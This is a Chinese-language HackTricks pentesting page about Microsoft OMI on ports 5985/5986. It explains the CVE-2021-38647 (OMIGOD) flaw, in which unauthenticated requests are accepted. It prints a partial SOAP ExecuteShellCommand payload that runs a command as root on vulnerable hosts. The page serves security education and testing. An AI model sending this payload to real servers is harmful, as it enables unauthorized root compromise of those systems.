> For the complete documentation index, see [llms.txt](https://hacktricks.xsx.tw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacktricks.xsx.tw/network-services-pentesting/5985-5986-pentesting-omi.md).

# 5985,5986 - Pentesting OMI

<details>

<summary><strong>从零开始学习 AWS 黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS 红队专家）</strong></a><strong>！</strong></summary>

* 您在**网络安全公司**工作吗？想要在 HackTricks 中看到您的**公司广告**？或者想要访问**PEASS 的最新版本或下载 HackTricks 的 PDF**？请查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
* 探索我们的独家[NFTs 集合](https://opensea.io/collection/the-peass-family) - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **通过向** [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享您的黑客技巧**。

</details>

### **基本信息**

**OMI** 是微软推出的一款**开源**工具，用于远程配置管理。它对于在 Azure 上使用以下服务的 Linux 服务器尤为重要：

* **Azure 自动化**
* **Azure 自动更新**
* **Azure 运营管理套件**
* **Azure 日志分析**
* **Azure 配置管理**
* **Azure 诊断**

当这些服务被激活时，进程 `omiengine` 会以 root 身份启动并在所有接口上监听。

使用的**默认端口**为 **5985**（http）和 **5986**（https）。

### [**CVE-2021-38647 漏洞**](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38647)

2021 年 9 月 16 日观察到，在 Azure 部署的 Linux 服务器中，由于使用了易受攻击的 OMI 版本，存在漏洞。该漏洞存在于 OMI 服务器通过 `/wsman` 端点处理消息时，无需身份验证头部即可授权客户端的情况。

攻击者可以利用这一点，发送不带身份验证头部的“ExecuteShellCommand” SOAP 负载，迫使服务器以 root 权限执行命令。

```xml
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing"
...
<s:Body>
<p:ExecuteShellCommand_INPUT xmlns:p="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem">
<p:command>id</p:command>
<p:timeout>0</p:timeout>
</p:ExecuteShellCommand_INPUT>
</s:Body>
</s:Envelope>
```

## 参考资料

* <https://www.horizon3.ai/omigod-rce-vulnerability-in-multiple-azure-linux-deployments/>
* <https://blog.wiz.io/omigod-critical-vulnerabilities-in-omi-azure/>

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

* 您在**网络安全公司**工作吗？您想看到您的**公司在HackTricks中做广告**吗？或者您想访问**PEASS的最新版本或下载PDF格式的HackTricks**吗？请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 发现我们的独家[NFTs收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks)**和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)**提交PR来分享您的黑客技巧**。

</details>
